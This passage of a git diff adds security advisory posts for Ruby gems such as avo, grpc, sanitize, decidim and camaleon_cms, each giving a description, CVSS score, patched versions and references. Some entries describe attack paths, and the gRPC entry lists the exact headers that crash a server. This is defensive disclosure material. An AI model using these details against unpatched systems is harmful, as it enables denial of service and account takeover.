+    - https://github.com/johanns/sha3/issues/17
+    - https://github.com/tiran/pysha3/issues/29
+    - https://github.com/XKCP/XKCP/commit/fdc6fef075f4e81d6b1bc38364248975e08e340a
+    - https://github.com/johanns/sha3/commit/5f2e8118a62831911703c8753ff2435c3b5d7312
+    - https://csrc.nist.gov/projects/hash-functions/sha-3-project
+    - https://eprint.iacr.org/2023/331
+    - https://lists.debian.org/debian-lts-announce/2022/10/msg00041.html
+    - https://lists.debian.org/debian-lts-announce/2022/11/msg00000.html
+    - https://mouha.be/sha-3-buffer-overflow/
+    - https://www.debian.org/security/2022/dsa-5267
+    - https://www.debian.org/security/2022/dsa-5269
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3ALQ6BDDPX5HU5YBQOBMDVAA2TSGDKIJ
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CMIEXLMTW5GO36HTFFWIPB3OHZXCT3G4/
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CMIEXLMTW5GO36HTFFWIPB3OHZXCT3G4
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3ALQ6BDDPX5HU5YBQOBMDVAA2TSGDKIJ
+    - https://github.com/advisories/GHSA-6w4m-2xhg-2658
+---
diff --git a/advisories/_posts/2023-05-01-CVE-2024-22047.md b/advisories/_posts/2023-05-01-CVE-2024-22047.md
new file mode 100644
index 00000000..d66f34fa
--- /dev/null
+++ b/advisories/_posts/2023-05-01-CVE-2024-22047.md
@@ -0,0 +1,45 @@
+---
+layout: advisory
+title: 'CVE-2024-22047 (audited): Race Condition leading to logging errors'
+comments: false
+categories:
+- audited
+advisory:
+  gem: audited
+  cve: 2024-22047
+  ghsa: hjp3-5g2q-7jww
+  url: https://github.com/collectiveidea/audited/security/advisories/GHSA-hjp3-5g2q-7jww
+  title: Race Condition leading to logging errors
+  date: 2023-05-01
+  description: |
+    In certain setups with threaded web servers, Audited's use of
+    `Thread.current` can incorrectly attributed audits to the wrong user.
+
+    Fixed in 5.3.3.
+
+    In March, @convisoappsec noticed that the library in question had a
+    Race Condition problem, which caused logs to be registered at times
+    with different users than those who performed the genuine actions.
+
+    - The first issue we identified was from November
+      2021: https://github.com/collectiveidea/audited/issues/601
+
+    - So the solution was implemented in the following Pull Request:
+      https://github.com/collectiveidea/audited/pull/669
+
+    - And the feature was published in version 5.3.3:
+      RELEASE: https://github.com/collectiveidea/audited/pull/671
+  cvss_v3: 3.1
+  unaffected_versions:
+  - "< 4.0.0"
+  patched_versions:
+  - ">= 5.3.3"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-22047
+    - https://github.com/collectiveidea/audited/security/advisories/GHSA-hjp3-5g2q-7jww
+    - https://github.com/collectiveidea/audited/issues/601
+    - https://github.com/collectiveidea/audited/pull/669
+    - https://github.com/collectiveidea/audited/pull/671
+    - https://github.com/advisories/GHSA-hjp3-5g2q-7jww
+---
diff --git a/advisories/_posts/2023-05-01-GHSA-hjp3-5g2q-7jww.md b/advisories/_posts/2023-05-01-GHSA-hjp3-5g2q-7jww.md
new file mode 100644
index 00000000..d0489d4c
--- /dev/null
+++ b/advisories/_posts/2023-05-01-GHSA-hjp3-5g2q-7jww.md
@@ -0,0 +1,43 @@
+---
+layout: advisory
+title: 'GHSA-hjp3-5g2q-7jww (audited): Race Condition leading to logging errors'
+comments: false
+categories:
+- audited
+advisory:
+  gem: audited
+  ghsa: hjp3-5g2q-7jww
+  url: https://github.com/collectiveidea/audited/security/advisories/GHSA-hjp3-5g2q-7jww
+  title: Race Condition leading to logging errors
+  date: 2023-05-01
+  description: |
+    In certain setups with threaded web servers, Audited's use of
+    `Thread.current` can incorrectly attributed audits to the wrong user.
+
+    Fixed in 5.3.3.
+
+    In March, @convisoappsec noticed that the library in question had a
+    Race Condition problem, which caused logs to be registered at times
+    with different users than those who performed the genuine actions.
+
+    - The first issue we identified was from November 2021
+      - https://github.com/collectiveidea/audited/issues/601
+
+    - So the solution was implemented in the following Pull Request
+      - https://github.com/collectiveidea/audited/pull/669
+
+    - And the feature was published in version 5.3.3
+      - RELEASE: https://github.com/collectiveidea/audited/pull/671
+  cvss_v3: 3.1
+  unaffected_versions:
+  - "< 4.0.0"
+  patched_versions:
+  - ">= 5.3.3"
+  related:
+    url:
+    - https://github.com/collectiveidea/audited/security/advisories/GHSA-hjp3-5g2q-7jww
+    - https://github.com/collectiveidea/audited/issues/601
+    - https://github.com/collectiveidea/audited/pull/669
+    - https://github.com/collectiveidea/audited/pull/671
+    - https://github.com/advisories/GHSA-hjp3-5g2q-7jww
+---
diff --git a/advisories/_posts/2023-05-26-CVE-2023-30145.md b/advisories/_posts/2023-05-26-CVE-2023-30145.md
new file mode 100644
index 00000000..dbb2f16a
--- /dev/null
+++ b/advisories/_posts/2023-05-26-CVE-2023-30145.md
@@ -0,0 +1,33 @@
+---
+layout: advisory
+title: 'CVE-2023-30145 (camaleon_cms): Server-Side Template Injection in Camaleon
+  CMS'
+comments: false
+categories:
+- camaleon_cms
+advisory:
+  gem: camaleon_cms
+  cve: 2023-30145
+  ghsa: x487-866m-p8hr
+  url: http://packetstormsecurity.com/files/172593/Camaleon-CMS-2.7.0-Server-Side-Template-Injection.html
+  title: Server-Side Template Injection in Camaleon CMS
+  date: 2023-05-26
+  description: |
+    Camaleon CMS prior to 2.7.4 was discovered to contain a Server-Side
+    Template Injection (SSTI) vulnerability via the `formats` parameter.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 2.7.4"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-30145
+    - https://github.com/paragbagul111/CVE-2023-30145
+    - http://packetstormsecurity.com/files/172593/Camaleon-CMS-2.7.0-Server-Side-Template-Injection.html
+    - https://github.com/owen2345/camaleon-cms/issues/1052
+    - https://github.com/owen2345/camaleon-cms/commit/4485788c544eb1aae52ca613bd9626129e3df6ee
+    - https://github.com/owen2345/camaleon-cms/releases/tag/2.7.4
+    - https://drive.google.com/file/d/11MsSYqUnDRFjcwbQKJeL9Q8nWpgVYf2r/view?usp=share_link
+    - https://portswigger.net/research/server-side-template-injection
+    - https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
+    - https://github.com/advisories/GHSA-x487-866m-p8hr
+---
diff --git a/advisories/_posts/2023-06-06-CVE-2023-31606.md b/advisories/_posts/2023-06-06-CVE-2023-31606.md
new file mode 100644
index 00000000..64360f48
--- /dev/null
+++ b/advisories/_posts/2023-06-06-CVE-2023-31606.md
@@ -0,0 +1,33 @@
+---
+layout: advisory
+title: 'CVE-2023-31606 (RedCloth): RedCloth Regular Expression Denial of Service issue'
+comments: false
+categories:
+- RedCloth
+advisory:
+  gem: RedCloth
+  cve: 2023-31606
+  ghsa: qcm3-vfq5-wfr2
+  url: https://github.com/e23e/CVE-2023-31606#readme
+  title: RedCloth Regular Expression Denial of Service issue
+  date: 2023-06-06
+  description: |
+    A Regular Expression Denial of Service (ReDoS) issue was discovered
+    in the "sanitize_html" function of RedCloth gem >= v4.0.0.
+    This vulnerability allows attackers to cause a
+    Denial of Service (DoS) via supplying a crafted payload.
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "< 4.0.0"
+  patched_versions:
+  - ">= 4.3.3"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-31606
+    - https://github.com/e23e/CVE-2023-31606#readme
+    - https://github.com/jgarber/redcloth/issues/73
+    - https://github.com/jgarber/redcloth/blob/v4.3.2/lib/redcloth/formatters/html.rb#L327
+    - https://github.com/advisories/GHSA-qcm3-vfq5-wfr2
+    - https://github.com/jgarber/redcloth/pull/75
+    - https://github.com/jgarber/redcloth/blob/v4.3.3/lib/redcloth/formatters/html.rb#L327
+---
diff --git a/advisories/_posts/2023-06-06-CVE-2023-34102.md b/advisories/_posts/2023-06-06-CVE-2023-34102.md
new file mode 100644
index 00000000..c4acd33e
--- /dev/null
+++ b/advisories/_posts/2023-06-06-CVE-2023-34102.md
@@ -0,0 +1,60 @@
+---
+layout: advisory
+title: 'CVE-2023-34102 (avo): avo possible unsafe reflection / partial DoS vulnerability'
+comments: false
+categories:
+- avo
+advisory:
+  gem: avo
+  cve: 2023-34102
+  ghsa: 86h2-2g4g-29qx
+  url: https://github.com/avo-hq/avo/security/advisories/GHSA-86h2-2g4g-29qx
+  title: avo possible unsafe reflection / partial DoS vulnerability
+  date: 2023-06-06
+  description: |
+    ### Summary
+
+    The polymorphic field type stores the classes to operate on when updating
+    a record with user input, and does not validate them in the back end.
+    This can lead to unexpected behavior, remote code execution, or
+    application crashes when viewing a manipulated record.
+
+    ### Details
+
+    After reviewing the polymorphic field implementation and performing
+    some black box approaches, we identified a potential security issue
+    related to the use of safe_constantize / constantize. This Rails
+    functionality is capable of searching for classes within the Rails
+    context and returning the class for further use. Because Avo does
+    not validate user input when updating or creating a new polymorphic
+    resource, it is possible to create database entries with completely
+    different or invalid class names than the preselected ones. Avo
+    assumes that the class specified by the user request is a valid one
+    and attempts to work with it, which may result in dangerous behavior
+    and code execution.
+
+    ### Impact
+
+    The final exploitation of this vulnerability requires more time than
+    is provided in this assessment, but initial testing of the post request
+    shows the potential critical risk. The classes could be instantiated
+    at any point in the code and this could also lead to code execution.
+
+    ### Recommendation
+
+    Avo should be configured to never trust user-supplied input, especially
+    when defining classes for records. In this particular case, Avo can
+    evaluate the options list given for the polymorphic field and only allow
+    strings from that list. With this white-list approach, an attacker
+    cannot supply unintended classes.
+  cvss_v3: 8.3
+  patched_versions:
+  - ">= 2.33.3"
+  related:
+    url:
+    - https://github.com/avo-hq/avo/security/advisories/GHSA-86h2-2g4g-29qx
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-34102
+    - https://github.com/avo-hq/avo/commit/ec117882ddb1b519481bdd046dc3cfa4474e6e17
+    - https://github.com/avo-hq/avo/releases/tag/v2.33.3
+    - https://github.com/advisories/GHSA-86h2-2g4g-29qx
+---
diff --git a/advisories/_posts/2023-06-06-CVE-2023-34103.md b/advisories/_posts/2023-06-06-CVE-2023-34103.md
new file mode 100644
index 00000000..c0581c5e
--- /dev/null
+++ b/advisories/_posts/2023-06-06-CVE-2023-34103.md
@@ -0,0 +1,61 @@
+---
+layout: advisory
+title: 'CVE-2023-34103 (avo): avo vulnerable to Stored XSS (Cross Site Scripting)
+  in html content based fields'
+comments: false
+categories:
+- avo
+advisory:
+  gem: avo
+  cve: 2023-34103
+  ghsa: 5cr9-5jx3-2g39
+  url: https://github.com/avo-hq/avo/security/advisories/GHSA-5cr9-5jx3-2g39
+  title: avo vulnerable to Stored XSS (Cross Site Scripting) in html content based
+    fields
+  date: 2023-06-06
+  description: |
+    ### Summary
+
+    Some avo fields are vulnerable to XSS when rendering html based content.
+
+    ### Details
+    During the analysis of the web application, a rendered field was
+    discovered that did not filter JS / HTML tags in a safe way and can
+    be abused to execute js code on a client side. The trix field uses
+    the trix editor in the backend to edit rich text data which basically
+    operates with html tags. To display the stored data in a rendered view,
+    the HasHTMLAttributes concern is used. This can be exploited by an
+    attacker to store javascript code in any trix field by intercepting
+    the request and modifying the post data, as the trix editor does not
+    allow adding custom html or js tags on the frontend.
+
+    ### Impact
+
+    Unlike non-persistent XSS, persistent XSS does not require a social
+    engineering phase. Victims of this attack do not need to be tricked
+    into clicking a link or something like that. However, by exploiting
+    such a vulnerability on this particular target, attackers may be able
+    to gain access to accounts that require special protection, such as
+    administrators of the web service, which is what Avo is primarily
+    intended to be used for.
+
+    ### Recommendation
+
+    The content of a field that contains html code should be sanitized
+    using the according rails helper which uses a whitelist of known-safe
+    tags and attributes. Also this security consideration should be
+    applied to the “as_html” attribute as well because it may contain
+    user controlled input as well.
+
+    https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html
+  cvss_v3: 7.3
+  patched_versions:
+  - ">= 2.33.3"
+  related:
+    url:
+    - https://github.com/avo-hq/avo/security/advisories/GHSA-5cr9-5jx3-2g39
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-34103
+    - https://github.com/avo-hq/avo/releases/tag/v2.33.3
+    - https://github.com/avo-hq/avo/commit/7891c01e1fba9ca5d7dbccc43d27f385e5d08563
+    - https://github.com/advisories/GHSA-5cr9-5jx3-2g39
+---
diff --git a/advisories/_posts/2023-06-12-CVE-2023-34246.md b/advisories/_posts/2023-06-12-CVE-2023-34246.md
new file mode 100644
index 00000000..1a11ca2d
--- /dev/null
+++ b/advisories/_posts/2023-06-12-CVE-2023-34246.md
@@ -0,0 +1,42 @@
+---
+layout: advisory
+title: 'CVE-2023-34246 (doorkeeper): Doorkeeper Improper Authentication vulnerability'
+comments: false
+categories:
+- doorkeeper
+advisory:
+  gem: doorkeeper
+  cve: 2023-34246
+  ghsa: 7w2c-w47h-789w
+  url: https://github.com/advisories/GHSA-7w2c-w47h-789w
+  title: Doorkeeper Improper Authentication vulnerability
+  date: 2023-06-12
+  description: |
+    OAuth RFC 8252 says  https://www.rfc-editor.org/rfc/rfc8252#section-8.6
+
+    > the authorization server SHOULD NOT process authorization requests
+    > automatically without user consent or interaction, except when the
+    > identity of the client can be assured. **This includes the case
+    > where the user has previously approved an authorization request
+    > for a given client id**
+
+    But Doorkeeper automatically processes authorization requests without
+    user consent for public clients that have been previous approved.
+    Public clients are inherently  vulnerable to impersonation, their
+    identity cannot be assured.
+
+    Issue https://github.com/doorkeeper-gem/doorkeeper/issues/1589
+
+    Fix https://github.com/doorkeeper-gem/doorkeeper/pull/1646
+  cvss_v3: 4.2
+  patched_versions:
+  - ">= 5.6.6"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-34246
+    - https://github.com/doorkeeper-gem/doorkeeper/releases/tag/v5.6.6
+    - https://github.com/doorkeeper-gem/doorkeeper/pull/1646
+    - https://github.com/doorkeeper-gem/doorkeeper/issues/1589
+    - https://www.rfc-editor.org/rfc/rfc8252#section-8.6
+    - https://github.com/advisories/GHSA-7w2c-w47h-789w
+---
diff --git a/advisories/_posts/2023-06-26-CVE-2020-23064.md b/advisories/_posts/2023-06-26-CVE-2020-23064.md
new file mode 100644
index 00000000..914dd976
--- /dev/null
+++ b/advisories/_posts/2023-06-26-CVE-2020-23064.md
@@ -0,0 +1,36 @@
+---
+layout: advisory
+title: 'CVE-2020-23064 (jquery-rails): jQuery Cross Site Scripting vulnerability'
+comments: false
+categories:
+- jquery-rails
+- rails
+advisory:
+  gem: jquery-rails
+  framework: rails
+  cve: 2020-23064
+  ghsa: 257q-pv89-v3xv
+  url: https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/
+  title: jQuery Cross Site Scripting vulnerability
+  date: 2023-06-26
+  description: |
+    Cross Site Scripting vulnerability in jQuery v.2.2.0 until v.3.5.0
+    allows a remote attacker to execute arbitrary code via the
+    `<options>` element.
+  cvss_v3: 6.1
+  unaffected_versions:
+  - "< 4.1.0"
+  patched_versions:
+  - ">= 4.4.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-23064
+    - https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/
+    - https://github.com/rails/jquery-rails/blob/v4.4.0/vendor/assets/javascripts/jquery3.js#L6162
+    - https://github.com/rails/jquery-rails/blob/v4.3.5/vendor/assets/javascripts/jquery3.js#L5979
+    - https://snyk.io/vuln/SNYK-JS-JQUERY-565129
+    - https://github.com/jquery/jquery/commit/1d61fd9407e6fbe82fe55cb0b938307aa0791f77
+    - https://github.com/rails/jquery-rails/blob/master/CHANGELOG.md#410
+    - https://github.com/rails/jquery-rails/blob/master/CHANGELOG.md#440
+    - https://github.com/advisories/GHSA-257q-pv89-v3xv
+---
diff --git a/advisories/_posts/2023-06-26-CVE-2023-28362.md b/advisories/_posts/2023-06-26-CVE-2023-28362.md
new file mode 100644
index 00000000..e1d0b098
--- /dev/null
+++ b/advisories/_posts/2023-06-26-CVE-2023-28362.md
@@ -0,0 +1,44 @@
+---
+layout: advisory
+title: 'CVE-2023-28362 (actionpack): Possible XSS via User Supplied Values to redirect_to'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2023-28362
+  ghsa: 4g8v-vg43-wpgf
+  url: https://discuss.rubyonrails.org/t/cve-2023-28362-possible-xss-via-user-supplied-values-to-redirect-to/83132
+  title: Possible XSS via User Supplied Values to redirect_to
+  date: 2023-06-26
+  description: |
+    The redirect_to method in Rails allows provided values to contain characters
+    which are not legal in an HTTP header value. This results in the potential for
+    downstream services which enforce RFC compliance on HTTP response headers to
+    remove the assigned Location header. This vulnerability has been assigned the
+    CVE identifier CVE-2023-28362.
+
+    Versions Affected: All. Not affected: None Fixed Versions: 7.0.5.1, 6.1.7.4
+
+    # Impact
+
+    This introduces the potential for a Cross-site-scripting (XSS) payload to be
+    delivered on the now static redirection page. Note that this both requires
+    user interaction and for a Rails app to be configured to allow redirects to
+    external hosts (defaults to false in Rails >= 7.0.x).
+
+    # Releases
+
+    The FIXED releases are available at the normal locations.
+
+    # Workarounds
+
+    Avoid providing user supplied URLs with arbitrary schemes to the redirect_to
+    method.
+  cvss_v3: 4.0
+  patched_versions:
+  - "~> 6.1.7.4"
+  - ">= 7.0.5.1"
+---
diff --git a/advisories/_posts/2023-06-28-CVE-2023-3445.md b/advisories/_posts/2023-06-28-CVE-2023-3445.md
new file mode 100644
index 00000000..85674b68
--- /dev/null
+++ b/advisories/_posts/2023-06-28-CVE-2023-3445.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2023-3445 (spina): Spina Cross-site Scripting vulnerability'
+comments: false
+categories:
+- spina
+advisory:
+  gem: spina
+  cve: 2023-3445
+  ghsa: 97wh-6hmj-g8j9
+  url: https://huntr.dev/bounties/18a74a9d-4a2d-4bf8-ae62-56a909427070
+  title: Spina Cross-site Scripting vulnerability
+  date: 2023-06-28
+  description: |
+    Cross-site Scripting (XSS) - Stored in GitHub
+    repository spinacms/spina prior to 2.15.1.
+  cvss_v3: 3.5
+  patched_versions:
+  - ">= 2.15.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-3445
+    - https://huntr.dev/bounties/18a74a9d-4a2d-4bf8-ae62-56a909427070
+    - https://github.com/spinacms/spina/commit/9adfe7b4807b3cc10dbb7351a26cc32f5d8c14a3
+    - https://github.com/advisories/GHSA-97wh-6hmj-g8j9
+---
diff --git a/advisories/_posts/2023-06-29-CVE-2023-36617.md b/advisories/_posts/2023-06-29-CVE-2023-36617.md
new file mode 100644
index 00000000..3e3d75f3
--- /dev/null
+++ b/advisories/_posts/2023-06-29-CVE-2023-36617.md
@@ -0,0 +1,61 @@
+---
+layout: advisory
+title: 'CVE-2023-36617 (uri): ReDoS vulnerability in URI'
+comments: false
+categories:
+- uri
+advisory:
+  gem: uri
+  cve: 2023-36617
+  ghsa: hww2-5g85-429m
+  url: https://www.ruby-lang.org/en/news/2023/06/29/redos-in-uri-CVE-2023-36617
+  title: ReDoS vulnerability in URI
+  date: 2023-06-29
+  description: |
+    We have released the uri gem version 0.12.2, 0.10.3 that has a
+    security fix for a ReDoS vulnerability. This vulnerability has
+    been assigned the CVE identifier CVE-2023-36617.
+
+    Details
+
+    A ReDoS issue was discovered in the URI component through 0.12.1
+    for Ruby. The URI parser mishandles invalid URLs that have specific
+    characters. There is an increase in execution time for parsing
+    strings to URI objects with rfc2396_parser.rb and rfc3986_parser.rb.
+
+    NOTE: this issue exists becuse of an incomplete fix for CVE-2023-28755.
+
+    The uri gem version 0.12.1 and all versions prior 0.12.1 are
+    vulnerable for this vulnerability.
+
+    Recommended action
+
+    We recommend to update the uri gem to 0.12.2.
+    In order to ensure compatibility with bundled version in older
+    Ruby series, you may update as follows instead:
+
+    * For Ruby 3.0: Update to uri 0.10.3
+    * For Ruby 3.1 and 3.2: Update to uri 0.12.2
+      You can use gem update uri to update it. If you are using bundler,
+      please add gem "uri", ">= 0.12.2" (or other version mentioned
+      above) to your Gemfile.
+
+    * Affected versions: uri gem 0.12.1 or before
+  cvss_v3: 5.3
+  patched_versions:
+  - "~> 0.10.0.3"
+  - "~> 0.10.3"
+  - "~> 0.11.2"
+  - ">= 0.12.2"
+  related:
+    cve:
+    - 2023-28755
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-36617
+    - https://www.ruby-lang.org/en/news/2023/06/29/redos-in-uri-CVE-2023-36617
+    - https://rubygems.org/gems/uri/versions/0.12.2
+    - https://rubygems.org/gems/uri/versions/0.11.2
+    - https://rubygems.org/gems/uri/versions/0.10.3
+    - https://rubygems.org/gems/uri/versions/0.10.0.3
+    - https://github.com/advisories/GHSA-hww2-5g85-429m
+---
diff --git a/advisories/_posts/2023-07-05-CVE-2023-32731.md b/advisories/_posts/2023-07-05-CVE-2023-32731.md
new file mode 100644
index 00000000..a6e5a4c9
--- /dev/null
+++ b/advisories/_posts/2023-07-05-CVE-2023-32731.md
@@ -0,0 +1,36 @@
+---
+layout: advisory
+title: 'CVE-2023-32731 (grpc): Connection confusion in gRPC'
+comments: false
+categories:
+- grpc
+advisory:
+  gem: grpc
+  cve: 2023-32731
+  ghsa: cfgp-2977-2fmm
+  url: https://github.com/grpc/grpc/issues/33463
+  title: Connection confusion in gRPC
+  date: 2023-07-05
+  description: |
+    When gRPC HTTP2 stack raised a header size exceeded error, it
+    skipped parsing the rest of the HPACK frame. This caused any HPACK
+    table mutations to also be skipped, resulting in a desynchronization
+    of HPACK tables between sender and receiver. If leveraged, say,
+    between a proxy and a backend, this could lead to requests from the
+    proxy being interpreted as containing headers from different
+    proxy clients
+    - leading to an information leak that can be used for privilege
+      escalation or data exfiltration. We recommend upgrading beyond
+      the commit contained in  https://github.com/grpc/grpc/pull/32309
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 1.53.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-32731
+    - https://github.com/grpc/grpc/releases/tag/v1.53.1
+    - https://github.com/grpc/grpc/issues/33463
+    - https://github.com/grpc/grpc/pull/33005
+    - https://github.com/grpc/grpc/pull/32309
+    - https://github.com/advisories/GHSA-cfgp-2977-2fmm
+---
diff --git a/advisories/_posts/2023-07-06-CVE-2023-1428.md b/advisories/_posts/2023-07-06-CVE-2023-1428.md
new file mode 100644
index 00000000..07041e50
--- /dev/null
+++ b/advisories/_posts/2023-07-06-CVE-2023-1428.md
@@ -0,0 +1,39 @@
+---
+layout: advisory
+title: 'CVE-2023-1428 (grpc): gRPC Reachable Assertion issue'
+comments: false
+categories:
+- grpc
+advisory:
+  gem: grpc
+  cve: 2023-1428
+  ghsa: 6628-q6j9-w8vg
+  url: https://github.com/grpc/grpc/issues/33463
+  title: gRPC Reachable Assertion issue
+  date: 2023-07-06
+  description: |
+    There exists an vulnerability causing an abort() to be called in gRPC.
+    The following headers cause gRPC's C++ implementation to abort()
+    when called via http2:
+
+    te: x (x != trailers)
+
+    :scheme: x (x != http, https)
+
+    grpclb_client_stats: x (x == anything)
+
+    On top of sending one of those headers, a later header must be sent
+    that gets the total header size past 8KB. We recommend upgrading
+    past git commit 2485fa94bd8a723e5c977d55a3ce10b301b437f8 or v1.53
+    and above.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 1.53.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-1428
+    - https://github.com/grpc/grpc/issues/33463
+    - https://github.com/grpc/grpc/pull/32507
+    - https://github.com/grpc/grpc/commit/2485fa94bd8a723e5c977d55a3ce10b301b437f8
+    - https://github.com/advisories/GHSA-6628-q6j9-w8vg
+---
diff --git a/advisories/_posts/2023-07-06-CVE-2023-32732.md b/advisories/_posts/2023-07-06-CVE-2023-32732.md
new file mode 100644
index 00000000..38538cde
--- /dev/null
+++ b/advisories/_posts/2023-07-06-CVE-2023-32732.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'CVE-2023-32732 (grpc): gRPC connection termination issue'
+comments: false
+categories:
+- grpc
+advisory:
+  gem: grpc
+  cve: 2023-32732
+  ghsa: 9hxf-ppjv-w6rq
+  url: https://github.com/grpc/grpc/releases/tag/v1.53.1
+  title: gRPC connection termination issue
+  date: 2023-07-06
+  description: |
+    gRPC contains a vulnerability whereby a client can cause a
+    termination of connection between a HTTP2 proxy and a gRPC server:
+    a base64 encoding error for `-bin` suffixed headers will result in
+    a disconnection by the gRPC server, but is typically allowed by
+    HTTP2 proxies. We recommend upgrading beyond the commit in
+    https://github.com/grpc/grpc/pull/32309.
+  cvss_v3: 5.3
+  patched_versions:
+  - ">= 1.53.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-32732
+    - https://github.com/grpc/grpc/pull/32309
+    - https://github.com/advisories/GHSA-9hxf-ppjv-w6rq
+---
diff --git a/advisories/_posts/2023-07-06-CVE-2023-36823.md b/advisories/_posts/2023-07-06-CVE-2023-36823.md
new file mode 100644
index 00000000..010dc485
--- /dev/null
+++ b/advisories/_posts/2023-07-06-CVE-2023-36823.md
@@ -0,0 +1,55 @@
+---
+layout: advisory
+title: 'CVE-2023-36823 (sanitize): Sanitize vulnerable to Cross-site Scripting via
+  insufficient neutralization  of `style` element content'
+comments: false
+categories:
+- sanitize
+advisory:
+  gem: sanitize
+  cve: 2023-36823
+  ghsa: f5ww-cq3m-q3g7
+  url: https://github.com/rgrove/sanitize/releases/tag/v6.0.2
+  title: Sanitize vulnerable to Cross-site Scripting via insufficient neutralization  of
+    `style` element content
+  date: 2023-07-06
+  description: |
+    ### Impact
+
+    Using carefully crafted input, an attacker may be able to sneak
+    arbitrary HTML and CSS through Sanitize `>= 3.0.0, < 6.0.2` when
+    Sanitize is configured to use the built-in "relaxed" config or
+    when using a custom config that allows `style` elements and one
+    or more CSS at-rules. This could result in XSS (cross-site scripting)
+    or other undesired behavior when the malicious HTML and CSS are
+    rendered in a browser.
+
+    ### Patches
+
+    Sanitize `>= 6.0.2` performs additional escaping of CSS in `style`
+    element content, which fixes this issue.
+
+    ### Workarounds
+
+    Users who are unable to upgrade can prevent this issue by using a
+    Sanitize config that doesn't allow `style` elements, using a Sanitize
+    config that doesn't allow CSS at-rules, or by manually escaping the
+    character sequence `</` as `<\/` in `style` element content.
+
+    ### Credit
+
+    This issue was found by @cure53 during an audit of a project that
+    uses Sanitize and was reported by one of that project's maintainers.
+    Thank you!
+  cvss_v3: 7.1
+  unaffected_versions:
+  - "< 3.0.0"
+  patched_versions:
+  - ">= 6.0.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-36823
+    - https://github.com/rgrove/sanitize/releases/tag/v6.0.2
+    - https://github.com/rgrove/sanitize/commit/76ed46e6dc70820f38efe27de8dabd54dddb5220
+    - https://github.com/advisories/GHSA-f5ww-cq3m-q3g7
+---
diff --git a/advisories/_posts/2023-07-11-CVE-2023-32693.md b/advisories/_posts/2023-07-11-CVE-2023-32693.md
new file mode 100644
index 00000000..738fd366
--- /dev/null
+++ b/advisories/_posts/2023-07-11-CVE-2023-32693.md
@@ -0,0 +1,36 @@
+---
+layout: advisory
+title: 'CVE-2023-32693 (decidim): Decidim Cross-site Scripting vulnerability in the
+  external link redirections'
+comments: false
+categories:
+- decidim
+advisory:
+  gem: decidim
+  cve: 2023-32693
+  ghsa: 469h-mqg8-535r
+  url: https://github.com/decidim/decidim/security/advisories/GHSA-469h-mqg8-535r
+  title: Decidim Cross-site Scripting vulnerability in the external link redirections
+  date: 2023-07-11
+  description: |
+    ### Impact
+
+    The external link feature is susceptible to Cross-site scripting. This allows a remote attacker to execute JavaScript code in the context of a currently logged-in user. An attacker could use this vulnerability to make other users endorse or support proposals they have no intention of supporting or endorsing.
+
+    ### Patches
+
+    The problem was patched in [v0.27.3](https://github.com/decidim/decidim/releases/tag/v0.27.3) and [v0.26.6](https://github.com/decidim/decidim/releases/tag/v0.26.6)
+  cvss_v3: 8.1
+  unaffected_versions:
+  - "< 0.25.0"
+  patched_versions:
+  - "~> 0.26.6"
+  - ">= 0.27.3"
+  related:
+    url:
+    - https://github.com/decidim/decidim/security/advisories/GHSA-469h-mqg8-535r
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-32693
+    - https://github.com/decidim/decidim/releases/tag/v0.26.6
+    - https://github.com/decidim/decidim/releases/tag/v0.27.3
+    - https://github.com/advisories/GHSA-469h-mqg8-535r
+---
diff --git a/advisories/_posts/2023-07-11-CVE-2023-34089.md b/advisories/_posts/2023-07-11-CVE-2023-34089.md
new file mode 100644
index 00000000..eed1388d
--- /dev/null
+++ b/advisories/_posts/2023-07-11-CVE-2023-34089.md
@@ -0,0 +1,36 @@
+---
+layout: advisory
+title: 'CVE-2023-34089 (decidim): Decidim Cross-site Scripting vulnerability in the
+  processes filter'
+comments: false
+categories:
+- decidim
+advisory:
+  gem: decidim
+  cve: 2023-34089
+  ghsa: 5652-92r9-3fx9
+  url: https://github.com/decidim/decidim/security/advisories/GHSA-5652-92r9-3fx9
+  title: Decidim Cross-site Scripting vulnerability in the processes filter
+  date: 2023-07-11
+  description: |
+    ### Impact
+
+    The processes filter feature is susceptible to Cross-site scripting. This allows a remote attacker to execute JavaScript code in the context of a currently logged-in user. An attacker could use this vulnerability to make other users endorse or support proposals they have no intention of supporting or endorsing.
+
+    ### Patches
+
+    The problem was patched in [v0.27.3](https://github.com/decidim/decidim/releases/tag/v0.27.3) and [v0.26.6](https://github.com/decidim/decidim/releases/tag/v0.26.6)
+  cvss_v3: 8.1
+  unaffected_versions:
+  - "< 0.14.0"
+  patched_versions:
+  - "~> 0.26.6"
+  - ">= 0.27.3"
+  related:
+    url:
